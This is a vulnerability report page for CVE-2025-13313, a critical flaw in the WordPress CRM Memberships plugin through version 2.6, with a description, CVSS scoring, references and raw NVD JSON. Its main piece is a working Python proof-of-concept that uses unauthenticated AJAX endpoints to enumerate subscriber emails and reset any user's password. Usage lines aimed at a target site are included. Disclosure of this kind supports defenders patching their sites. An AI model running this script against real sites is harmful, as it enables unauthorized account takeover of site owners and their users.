Security Vulnerability Report
中文
CVE-2025-13313 CVSS 9.8 CRITICAL

CVE-2025-13313

Published: 2025-12-05 05:16:58
Last Modified: 2026-04-15 00:35:42

Description

The CRM Memberships plugin for WordPress is vulnerable to privilege escalation via password reset in all versions up to, and including, 2.6. This is due to missing authorization and authentication checks on the `ntzcrm_changepassword` AJAX action. This makes it possible for unauthenticated attackers to reset arbitrary user passwords and gain unauthorized access to user accounts via the `ntzcrm_changepassword` endpoint, granted they can obtain or enumerate a target user's email address. The plugin also exposes the `ntzcrm_get_users` endpoint without authentication, allowing attackers to enumerate subscriber email addresses, facilitating the exploitation of the password reset vulnerability.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WordPress CRM Memberships plugin <= 2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import argparse def enumerate_users(target_url): """Enumerate user emails via ntzcrm_get_users endpoint""" endpoint = f"{target_url}/wp-admin/admin-ajax.php" data = { 'action': 'ntzcrm_get_users' } response = requests.post(endpoint, data=data) if response.status_code == 200: print(f"[+] Users enumerated: {response.text}") return response.json() return None def reset_password(target_url, email, new_password): """Reset user password via ntzcrm_changepassword endpoint""" endpoint = f"{target_url}/wp-admin/admin-ajax.php" data = { 'action': 'ntzcrm_changepassword', 'email': email, 'new_password': new_password } response = requests.post(endpoint, data=data) if response.status_code == 200: print(f"[+] Password reset response: {response.text}") return True return False def main(): parser = argparse.ArgumentParser(description='CVE-2025-13313 PoC') parser.add_argument('--url', required=True, help='Target WordPress site URL') parser.add_argument('--email', help='Target user email') parser.add_argument('--password', default='Hacked123!', help='New password') parser.add_argument('--enumerate', action='store_true', help='Enumerate users first') args = parser.parse_args() if args.enumerate: users = enumerate_users(args.url) if users: print(f"[+] Found {len(users)} users") if args.email: print(f"[*] Resetting password for {args.email}") reset_password(args.url, args.email, args.password) if __name__ == '__main__': main() # Usage: # 1. Enumerate users: python poc.py --url http://target.com --enumerate # 2. Reset password: python poc.py --url http://target.com --email [email protected] --password NewPass123!

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13313", "sourceIdentifier": "[email protected]", "published": "2025-12-05T05:16:57.780", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CRM Memberships plugin for WordPress is vulnerable to privilege escalation via password reset in all versions up to, and including, 2.6. This is due to missing authorization and authentication checks on the `ntzcrm_changepassword` AJAX action. This makes it possible for unauthenticated attackers to reset arbitrary user passwords and gain unauthorized access to user accounts via the `ntzcrm_changepassword` endpoint, granted they can obtain or enumerate a target user's email address. The plugin also exposes the `ntzcrm_get_users` endpoint without authentication, allowing attackers to enumerate subscriber email addresses, facilitating the exploitation of the password reset vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/crm-memberships/tags/2.5/includes/class/class-ntzcrm-api.php#L12", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/crm-memberships/tags/2.5/includes/class/class-ntzcrm-api.php#L63", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/crm-memberships/tags/2.5/includes/class/class-ntzcrm-api.php#L795", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/crm-memberships/tags/2.5/includes/class/class-ntzcrm-dbquery.php#L287", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/crm-memberships/tags/2.5/ntzcrm-memberships.php#L42", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3464130/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e2837399-c44f-494e-bdc6-f9c6e4e2dc11?source=cve", "source": "[email protected]"}]}}